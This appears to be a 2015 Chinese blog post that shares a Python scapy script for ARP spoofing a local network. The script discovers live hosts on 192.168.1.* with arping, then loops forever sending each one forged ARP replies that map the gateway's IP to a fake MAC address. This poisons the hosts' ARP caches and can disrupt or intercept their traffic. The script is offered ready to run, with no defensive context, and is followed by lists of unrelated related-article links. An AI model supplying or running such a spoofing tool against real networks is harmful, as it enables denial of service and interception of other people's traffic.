python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
解决PyCharm中光标变粗的问题
Aug 05 Python
python实现自动登录后台管理系统
Oct 18 Python
对numpy中向量式三目运算符详解
Oct 31 Python
解决python中画图时x,y轴名称出现中文乱码的问题
Jan 29 Python
分享8个非常流行的 Python 可视化工具包
Jun 05 Python
PyQt QCombobox设置行高的方法
Jun 20 Python
Python sep参数使用方法详解
Feb 12 Python
python GUI库图形界面开发之PyQt5表单布局控件QFormLayout详细使用方法与实例
Mar 06 Python
Python使用Pyqt5实现简易浏览器(最新版本测试过)
Apr 27 Python
python 实现学生信息管理系统的示例
Nov 28 Python
django项目中使用云片网发送短信验证码的实现
Jan 19 Python
基于Pygame实现简单的贪吃蛇游戏
Dec 06 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
星际争霸 Starcraft 秘技补丁
2020/03/14 星际争霸
用户的详细注册和判断
2006/10/09 PHP
PHP经典的给图片加水印程序
2006/12/06 PHP
PHP常见加密函数用法示例【crypt与md5】
2019/01/27 PHP
使用composer命令加载vendor中的第三方类库 的方法
2019/07/09 PHP
Open and Print a Word Document
2007/06/15 Javascript
XRegExp 0.2: Now With Named Capture
2007/11/30 Javascript
js 匿名调用实现代码
2009/06/19 Javascript
简单实用的js调试logger组件实现代码
2010/11/20 Javascript
基于jquery的textarea发布框限制文字字数输入(添加中文识别)
2012/02/16 Javascript
jquery 插件学习(四)
2012/08/06 Javascript
jquery $.each 和for怎么跳出循环终止本次循环
2013/09/27 Javascript
prototype.js常用函数详解
2016/06/18 Javascript
如何获取元素的最终background-color
2017/02/06 Javascript
vue.js树形组件之删除双击增加分支实例代码
2017/02/28 Javascript
nodejs微信扫码支付功能实现
2018/02/17 NodeJs
bootstrap 弹出框modal添加垂直方向滚轴效果
2018/07/09 Javascript
angular6 利用 ngContentOutlet 实现组件位置交换(重排)
2018/11/02 Javascript
JS实现的新闻列表自动滚动效果示例
2019/01/30 Javascript
Vue-router 报错NavigationDuplicated的解决方法
2020/03/31 Javascript
nodejs中使用worker_threads来创建新的线程的方法
2021/01/22 NodeJs
整理Python 常用string函数(收藏)
2016/05/30 Python
tensorflow实现对图片的读取的示例代码
2018/02/12 Python
python 定时修改数据库的示例代码
2018/04/08 Python
[原创]Python入门教程1. 基本运算【四则运算、变量、math模块等】
2018/10/28 Python
对Python中一维向量和一维向量转置相乘的方法详解
2019/08/26 Python
用python按照图像灰度值统计并筛选图片的操作(PIL,shutil,os)
2020/06/04 Python
Django如何实现密码错误报错提醒
2020/09/04 Python
澳大利亚百货商店中销量第一的商务衬衫品牌:Van Heusen
2018/07/26 全球购物
阿玛尼美妆俄罗斯官网:Giorgio Armani Beauty RU
2020/07/19 全球购物
大四本科生的自我评价
2013/12/30 职场文书
孝敬父母的演讲稿
2014/05/14 职场文书
敬老模范事迹
2014/05/21 职场文书
岗位说明书标准范本
2014/07/30 职场文书
2015年安全员工作总结范文
2015/04/22 职场文书
CSS 一行代码实现头像与国旗的融合
2021/10/24 HTML / CSS